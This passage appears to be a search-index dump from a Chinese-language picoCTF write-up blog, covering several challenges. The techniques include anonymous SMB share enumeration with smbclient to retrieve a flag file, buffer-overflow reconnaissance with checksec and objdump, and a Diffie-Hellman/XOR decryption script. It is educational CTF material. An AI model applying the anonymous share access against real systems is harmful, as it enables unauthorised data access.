style=\"color:#f92672\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Invalid choice\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"heap 0"},{"content":"題目連結 https://learn.cylabacademy.org/library/442\n題目解法 使用 ssh 連線進去，不斷猜範圍內的鄭中間一定可以在 10 次內猜到。\nwebshell:~$ ssh -p 58451 ctf-player@atlas.picoctf.net The authenticity of host \u0026#39;[atlas.picoctf.net]:58451 ([18.217.83.136]:58451)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is SHA256:M8hXanE8l/Yzfs8iuxNsuFL4vCzCKEIlM/3hpO13tfQ. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:3: [hashed name] ~/.ssh/known_hosts:5: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;[atlas.picoctf.net]:58451\u0026#39; (ED25519) to the list of known hosts. ctf-player@atlas.picoctf.net\u0026#39;s password: Welcome to the Binary Search Game! I\u0026#39;m thinking of a number between 1 and 1000. Enter your guess: 500 Lower! Try again. Enter your guess: 250 Higher! Try again. Enter your guess: 375 Higher! Try again. Enter your guess: 438 Higher! Try again. Enter your guess: 469 Higher! Try again. Enter your guess: 485 Higher! Try again. Enter your guess: 493 Higher! Try again. Enter your guess: 497 Higher! Try again. Enter your guess: 499 Congratulations! You guessed the correct number: 499 Here\u0026#39;s your flag: picoCTF{g00-------------07f} Connection to atlas.picoctf.net closed. ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/binary-search/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/442\"\u003ehttps://learn.cylabacademy.org/library/442\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e使用 \u003ccode\u003essh\u003c/code\u003e 連線進去，不斷猜範圍內的鄭中間一定可以在 10 次內猜到。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ ssh -p 58451 ctf-player@atlas.picoctf.net\nThe authenticity of host \u0026#39;[atlas.picoctf.net]:58451 ([18.217.83.136]:58451)\u0026#39; can\u0026#39;t be established.\nED25519 key fingerprint is SHA256:M8hXanE8l/Yzfs8iuxNsuFL4vCzCKEIlM/3hpO13tfQ.\nThis host key is known by the following other names/addresses:\n    ~/.ssh/known_hosts:3: [hashed name]\n    ~/.ssh/known_hosts:5: [hashed name]\nAre you sure you want to continue connecting (yes/no/[fingerprint])? yes\nWarning: Permanently added \u0026#39;[atlas.picoctf.net]:58451\u0026#39; (ED25519) to the list of known hosts.\nctf-player@atlas.picoctf.net\u0026#39;s password: \nWelcome to the Binary Search Game!\nI\u0026#39;m thinking of a number between 1 and 1000.\nEnter your guess: 500\nLower! Try again.\nEnter your guess: 250\nHigher! Try again.\nEnter your guess: 375\nHigher! Try again.\nEnter your guess: 438\nHigher! Try again.\nEnter your guess: 469\nHigher! Try again.\nEnter your guess: 485\nHigher! Try again.\nEnter your guess: 493\nHigher! Try again.\nEnter your guess: 497\nHigher! Try again.\nEnter your guess: 499\nCongratulations! You guessed the correct number: 499\nHere\u0026#39;s your flag: picoCTF{g00-------------07f}\nConnection to atlas.picoctf.net closed.\n\u003c/code\u003e\u003c/pre\u003e","title":"Binary Search"},{"content":"題目連結 https://learn.cylabacademy.org/library/444\n題目解法 下載並解壓縮後得到一張 QR code，掃描即可得到 flag。可以拿手機掃描，或是線上掃描工具也可以。 picoCTF{p33-------------77c} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/scan-surprise/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/444\"\u003ehttps://learn.cylabacademy.org/library/444\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載並解壓縮後得到一張 QR code，掃描即可得到 flag。可以拿手機掃描，或是線上掃描工具也可以。\n\u003cimg alt=\"flag QR code\" loading=\"lazy\" src=\"/posts/forensics/scan-surprise/flag.png\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{p33-------------77c}\n\u003c/code\u003e\u003c/pre\u003e","title":"Scan Surprise"},{"content":"題目連結 https://learn.cylabacademy.org/library/450\n題目解法 根據題目敘述可以得知要從 file 中找到使用 sha256 雜湊之後指定值的檔案。\n使用 ssh 連線進去後，使用 sha256sum 指令來查看檔案經過 sha256 雜湊之後的值，加上 grep 指令可以過濾指定的內容。\nctf-player@pico-chall$ sha256sum files/* | grep \u0026#34;fba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7\u0026#34; fba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7 files/87590c24 使用 ./decrypt.sh 腳本加上找到的檔案即可得到 flag。\nctf-player@pico-chall$ ./decrypt.sh files/87590c24 picoCTF{tru-------------------c24} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/verify/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/450\"\u003ehttps://learn.cylabacademy.org/library/450\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e根據題目敘述可以得知要從 \u003ccode\u003efile\u003c/code\u003e 中找到使用 sha256 雜湊之後指定值的檔案。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003essh\u003c/code\u003e 連線進去後，使用 \u003ccode\u003esha256sum\u003c/code\u003e 指令來查看檔案經過 sha256 雜湊之後的值，加上 \u003ccode\u003egrep\u003c/code\u003e 指令可以過濾指定的內容。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ectf-player@pico-chall$ sha256sum files/* | grep \u0026#34;fba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7\u0026#34;\nfba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7  files/87590c24\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003e./decrypt.sh\u003c/code\u003e 腳本加上找到的檔案即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ectf-player@pico-chall$ ./decrypt.sh files/87590c24\npicoCTF{tru-------------------c24}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Verify"},{"content":"題目連結 https://learn.cylabacademy.org/library/727\n題目解法 使用 nc 連線後開始回答問題。\n第 1 - 3 題： 使用 file 指令查看執行檔詳細資料\nwebshell:~$ file vuln vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=19251d430d5dd4b44a3e8489a8c76f1894676f7d, for GNU/Linux 3.2.0, not stripped [*] Question number 0x1: Is this a \u0026#39;32-bit\u0026#39; or \u0026#39;64-bit\u0026#39; ELF? (e.g. 100-bit) 💡 Hint: Check if the system is x86_64 or x86. No compilation flag specified means default. \u0026gt;\u0026gt; 64-bit [*] Question number 0x2: What\u0026#39;s the linking of the binary? (e.g. static, dynamic) 💡 Hint: The program uses standard library functions like fprintf, fgets, and system. \u0026gt;\u0026gt; dynamic [*] Question number 0x3: Is the binary \u0026#39;stripped\u0026#39; or \u0026#39;not stripped\u0026#39;? 💡 Hint: By default, binaries compiled without the -s flag contain debugging symbols. \u0026gt;\u0026gt; not stripped 第 4 - 10 題 查看並分析原始碼\n[*] Question number 0x4: Looking at the vuln() function, what is the size of the buffer in bytes? (e.g. 0x10) 💡 Hint: Check the declaration in the function and answer in either hex or decimal \u0026gt;\u0026gt; 0x15 [*] Question number 0x5: How many bytes are read into the buffer? (e.g. 0x10) 💡 Hint: Check the fgets \u0026gt;\u0026gt; 0x90 [*] Question number 0x6: Is there a buffer overflow vulnerability? (yes/no) 💡 Hint: Compare buffer size and input size \u0026gt;\u0026gt; yes [*] Question number 0x7: Name a standard C function that could cause a buffer overflow in the provided C code. 💡 Hint: (e.g. fprintf) \u0026gt;\u0026gt; fgets [*] Question number 0x8: What is the name of function which is not called any where in the program? 💡 Hint: Analyze the source \u0026gt;\u0026gt; win() [*] Question number 0x9: What type of attack could exploit this vulnerability? (e.g. format string, buffer overflow, etc.) 💡 Hint: Try interpreting the information gathered so far \u0026gt;\u0026gt; buffer overflow [*] Question number 0xa: How many bytes of overflow are possible? (e.g. 0x10) 💡 Hint: Subtract values \u0026gt;\u0026gt; 0x7b 第 11 - 12 題 使用 checksec\nwebshell:~$ checksec --file=vuln [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/PinJimWu-picoctf/.cache/.pwntools-cache-3.10/update to \u0026#39;never\u0026#39; (old way). Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide): [update] interval=never [*] You have the latest version of Pwntools (4.15.0) [*] \u0026#39;/home/PinJimWu-picoctf/vuln\u0026#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [*] Question number 0xb: What protection is enabled in this binary? 💡 Hint: Learn to use checksec \u0026gt;\u0026gt; NX [*] Question number 0xc: What exploitation technique could bypass NX? (e.g. shellcode, ROP, format string) 💡 Hint: Choose from the options \u0026gt;\u0026gt; ROP 第 13 題 使用 objdump\nobjdump -d vuln 0000000000401176 \u0026lt;win\u0026gt;: 401176: f3 0f 1e fa endbr64 40117a: 55 push %rbp 40117b: 48 89 e5 mov %rsp,%rbp 40117e: bf 04 20 40 00 mov $0x402004,%edi 401183: e8 d8 fe ff ff call 401060 \u0026lt;system@plt\u0026gt; 401188: 90 nop 401189: 5d pop %rbp 40118a: c3 ret [*] Question number 0xd: What is the address of \u0026#39;win()\u0026#39; in hex? (e.g. 0x4011eb) 💡 Hint: Use gdb/objdump to find the address \u0026gt;\u0026gt; 0x401176 通過\n========================================================================================================= QUIZ COMPLETE! ========================================================================================================= 🎉 PERFECT SCORE! 🎉 You got 13/13 questions correct! Flag: picoCTF{my_-------------------------333} ========================================================================================================= ","permalink":"https://picoctf-writeup.pinjim.dev/posts/binary-exploitation/quizploit/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/727\"\u003ehttps://learn.cylabacademy.org/library/727\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e使用 \u003ccode\u003enc\u003c/code\u003e 連線後開始回答問題。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e第 1 - 3 題：\n使用 \u003ccode\u003efile\u003c/code\u003e 指令查看執行檔詳細資料\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ file vuln\nvuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=19251d430d5dd4b44a3e8489a8c76f1894676f7d, for GNU/Linux 3.2.0, not stripped\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[*] Question number 0x1:\n\nIs this a \u0026#39;32-bit\u0026#39; or \u0026#39;64-bit\u0026#39; ELF? (e.g. 100-bit)\n\n💡 Hint: Check if the system is x86_64 or x86. No compilation flag specified means default.\n\n\u0026gt;\u0026gt; 64-bit\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[*] Question number 0x2:\n\nWhat\u0026#39;s the linking of the binary? (e.g. static, dynamic)\n\n💡 Hint: The program uses standard library functions like fprintf, fgets, and system.\n\n\u0026gt;\u0026gt; dynamic\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[*] Question number 0x3:\n\nIs the binary \u0026#39;stripped\u0026#39; or \u0026#39;not stripped\u0026#39;?\n\n💡 Hint: By default, binaries compiled without the -s flag contain debugging symbols.\n\n\u0026gt;\u0026gt; not stripped\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e第 4 - 10 題\n查看並分析原始碼\u003c/p\u003e","title":"Quizploit"},{"content":"題目連結 https://learn.cylabacademy.org/library/759\n題目解法 列出共享目錄 (Enumeration)\n首先我們使用 smbclient，嘗試匿名登入查看伺服器上有那些共享資料夾，輸入密碼處直接按 enter。\nsmbclient -L \u0026lt;host\u0026gt; -p \u0026lt;port\u0026gt; -U \u0026#34;\u0026#34; smbclient -L mysterious-sea.picoctf.net -p 53486 -U \u0026#34;\u0026#34; -L: 列出（List）所有的共享資源。 -p 53486: 指定題目給的連接埠。 -U \u0026quot;\u0026quot;: 使用空用戶名（匿名）。 webshell:~$ smbclient -L mysterious-sea.picoctf.net -p 53486 -U \u0026#34;\u0026#34; Password for [WORKGROUP\\]: Sharename Type Comment --------- ---- ------- shares Disk Public Share With Guests IPC$ IPC IPC Service (Samba 4.19.5-Ubuntu) SMB1 disabled -- no workgroup available 根據上方輸出內容，看到一個名為 shares 的共享資料夾，使用以下指令進入：\nsmbclient //mysterious-sea.picoctf.net/shares -p 53486 -U \u0026#34;\u0026#34; 看到 smb: \\\u0026gt; 代表成功進入\n搜尋並下載檔案 在 SMB 互動介面中，你可以使用類似 Linux 的指令：\n列出檔案： ls 切換目錄： cd 下載檔案： get \u0026lt;檔案名稱\u0026gt; webshell:~$ smbclient //mysterious-sea.picoctf.net/shares -p 53486 -U \u0026#34;\u0026#34; Password for [WORKGROUP\\]: Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; ls . D 0 Fri Mar 6 20:25:41 2026 .. D 0 Fri Mar 6 20:25:41 2026 dummy.txt N 1142 Wed Feb 4 21:22:17 2026 flag.txt N 37 Fri Mar 6 20:25:41 2026 65536 blocks of size 1024. 58696 blocks available smb: \\\u0026gt; get flag.txt getting file \\flag.txt of size 37 as flag.txt (12.0 KiloBytes/sec) (average 12.0 KiloBytes/sec) 在本地使用 cat 查看 flag.txt\nwebshell:~$ cat flag.txt picoCTF{5mb---------------------15b} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/printer-shares/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/759\"\u003ehttps://learn.cylabacademy.org/library/759\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e列出共享目錄 (Enumeration)\u003cbr\u003e\n首先我們使用 \u003ccode\u003esmbclient\u003c/code\u003e，嘗試匿名登入查看伺服器上有那些共享資料夾，輸入密碼處直接按 enter。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esmbclient -L \u0026lt;host\u0026gt; -p \u0026lt;port\u0026gt; -U \u0026#34;\u0026#34;\nsmbclient -L mysterious-sea.picoctf.net -p 53486 -U \u0026#34;\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e-L\u003c/code\u003e: 列出（List）所有的共享資源。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-p 53486\u003c/code\u003e: 指定題目給的連接埠。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-U \u0026quot;\u0026quot;\u003c/code\u003e: 使用空用戶名（匿名）。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ smbclient -L mysterious-sea.picoctf.net -p 53486 -U \u0026#34;\u0026#34;\nPassword for [WORKGROUP\\]:\n\n        Sharename       Type      Comment\n        ---------       ----      -------\n        shares          Disk      Public Share With Guests\n        IPC$            IPC       IPC Service (Samba 4.19.5-Ubuntu)\nSMB1 disabled -- no workgroup available\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e根據上方輸出內容，看到一個名為 shares 的共享資料夾，使用以下指令進入：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esmbclient //mysterious-sea.picoctf.net/shares -p 53486 -U \u0026#34;\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e看到 \u003ccode\u003esmb: \\\u0026gt;\u003c/code\u003e 代表成功進入\u003c/p\u003e","title":"Printer Shares"},{"content":"題目連結 https://learn.cylabacademy.org/library/715\n加密方式 這題是迪菲-赫爾曼密鑰交換 (Diffie-Hellman Key Exchange) 演算法。\n加密邏輯如下：\\\n建立兩個公開參數，可以被任何人知道。\n大質數 $p$ 原根 $g$ 產生私鑰與公鑰雙方各自產生自己的私鑰，並計算出對應的公鑰：\nAlice： 選擇一個私鑰 $a$（隨機整數）。 計算公鑰 $A = g^a \\pmod p$。 將 $A$ 傳送給 Bob。 Bob： 選擇一個私鑰 $b$（隨機整數）。 計算公鑰 $B = g^b \\pmod p$。 將 $B$ 傳送給 Alice。 計算共享密鑰\n雙方收到對方的公鑰後，利用自己的私鑰計算出相同的共享密鑰 $s$：\nAlice 計算：$s = B^a \\pmod p$ Bob 計算：$s = A^b \\pmod p$ $s = B^a \\pmod p = A^b \\pmod p = g^{ab} \\pmod p$\n題目解法 這題的重點在於，雖然伺服器的私鑰 $a$ 是未知的，但題目已經直接給了所需的所有關鍵數值：$A$（伺服器公鑰）、$b$（客戶端私鑰）以及 $p$（大質數）。\n使用以下 python 腳本可以解密得到 flag。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 從 message.txt 複製過來的數值 g = 2 p = 1653798930689987750372209240014380521131540183716217687164747711336243702962818359267822691525697642105558753651223568056089606926425342081267821725904109431430327153613733358950243154522848602494020618427146508586350079988809469424456886589329449769221123659126892760967096413248127035734431548987006011015808526671 A = 771122236020803078829911570090382183223626843114693013412703353349864301811612864849857638111588507084769437566078749825291937213523446695097948166153379036322108656350710200734137906115055446496743841090323252143278700024424965369059879247648625799137192258413471893876530475007392243768366999108564494255853654467 b = 502087552249276796768894199149546386713173741864561762918671131549146319658647813949433247424965048798816294966029262647803764533595143429273283374211302160540685383641060542870573303301014875733971557824236009184578986290165659257363419797500816452080900496604781986251988455903195756181696996025184087945715324970 enc_hex = \u0026#34;cfd6dcd0fcebf9c4dbd7e0cc8cdccd8ccbe0dddb8c87d98c8889c2\u0026#34; # 1. 計算共享密鑰 (Shared secret) shared = pow(A, b, p) # 2. 取得 XOR 的金鑰 key = shared % 256 # 3. 將 hex 轉回 bytes 並進行解密 enc_bytes = bytes.fromhex(enc_hex) flag = bytes([x ^ key for x in enc_bytes]) print(key) print(flag.decode()) 不過這題的 key 很小，只有 256，所以直接暴力測試所有可能也可以。\n題目檔案 message.txt 1 2 3 4 5 g = 2 p = 1653798930689987750372209240014380521131540183716217687164747711336243702962818359267822691525697642105558753651223568056089606926425342081267821725904109431430327153613733358950243154522848602494020618427146508586350079988809469424456886589329449769221123659126892760967096413248127035734431548987006011015808526671 A = 771122236020803078829911570090382183223626843114693013412703353349864301811612864849857638111588507084769437566078749825291937213523446695097948166153379036322108656350710200734137906115055446496743841090323252143278700024424965369059879247648625799137192258413471893876530475007392243768366999108564494255853654467 b = 502087552249276796768894199149546386713173741864561762918671131549146319658647813949433247424965048798816294966029262647803764533595143429273283374211302160540685383641060542870573303301014875733971557824236009184578986290165659257363419797500816452080900496604781986251988455903195756181696996025184087945715324970 enc = cfd6dcd0fcebf9c4dbd7e0cc8cdccd8ccbe0dddb8c87d98c8889c2 encryption.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from Crypto.Util.number import getPrime from random import randint # Public parameters g = 2 p = getPrime(1048) # Server\u0026#39;s secret a = randint(2, p-2) A = pow(g, a, p) # Client secret b = \u0026#39;???\u0026#39; B = pow(g, b, p) # Shared key shared = pow(A, b, p) # Encrypt flag flag = b\u0026#34;picoCTF{...}\u0026#34; enc = bytes([x ^ (shared % 256) for x in flag]) # Write challenge info with open(\u0026#34;file.txt\u0026#34;, \u0026#34;w\u0026#34;) as f: f.write(f\u0026#34;g = {g}\\n\u0026#34;) f.write(f\u0026#34;p = {p}\\n\u0026#34;) f.write(f\u0026#34;A = {A}\\n\u0026#34;) f.write(f\u0026#34;b = {b} \\n\u0026#34;) f.write(f\u0026#34;enc = {enc.hex()}\\n\u0026#34;) ","permalink":"https://picoctf-writeup.pinjim.dev/posts/cryptography/shared-secrets/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/715\"\u003ehttps://learn.cylabacademy.org/library/715\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"加密方式\"\u003e加密方式\u003c/h2\u003e\n\u003cp\u003e這題是\u003cstrong\u003e迪菲-赫爾曼密鑰交換\u003c/strong\u003e (\u003cstrong\u003eDiffie-Hellman Key Exchange\u003c/strong\u003e) 演算法。\u003cbr\u003e\n加密邏輯如下：\\\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e建立兩個公開參數，可以被任何人知道。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e大質數 $p$\u003c/li\u003e\n\u003cli\u003e原根 $g$\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e產生私鑰與公鑰雙方各自產生自己的私鑰，並計算出對應的公鑰：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAlice：\n\u003cul\u003e\n\u003cli\u003e選擇一個私鑰 $a$（隨機整數）。\u003c/li\u003e\n\u003cli\u003e計算公鑰 $A = g^a \\pmod p$。\u003c/li\u003e\n\u003cli\u003e將 $A$ 傳送給 Bob。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBob：\n\u003cul\u003e\n\u003cli\u003e選擇一個私鑰 $b$（隨機整數）。\u003c/li\u003e\n\u003cli\u003e計算公鑰 $B = g^b \\pmod p$。\u003c/li\u003e\n\u003cli\u003e將 $B$ 傳送給 Alice。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e計算共享密鑰\u003cbr\u003e\n雙方收到對方的公鑰後，利用自己的私鑰計算出相同的共享密鑰 $s$：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAlice 計算：$s = B^a \\pmod p$\u003c/li\u003e\n\u003cli\u003eBob 計算：$s = A^b \\pmod p$\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e$s = B^a \\pmod p = A^b \\pmod p = g^{ab} \\pmod p$\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e這題的重點在於，雖然伺服器的私鑰 $a$ 是未知的，但題目已經直接給了所需的所有關鍵數值：$A$（伺服器公鑰）、$b$（客戶端私鑰）以及 $p$（大質數）。\u003cbr\u003e\n使用以下 python 腳本可以解密得到 flag。\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 從 message.txt 複製過來的數值\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eg \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ep \u003cspan 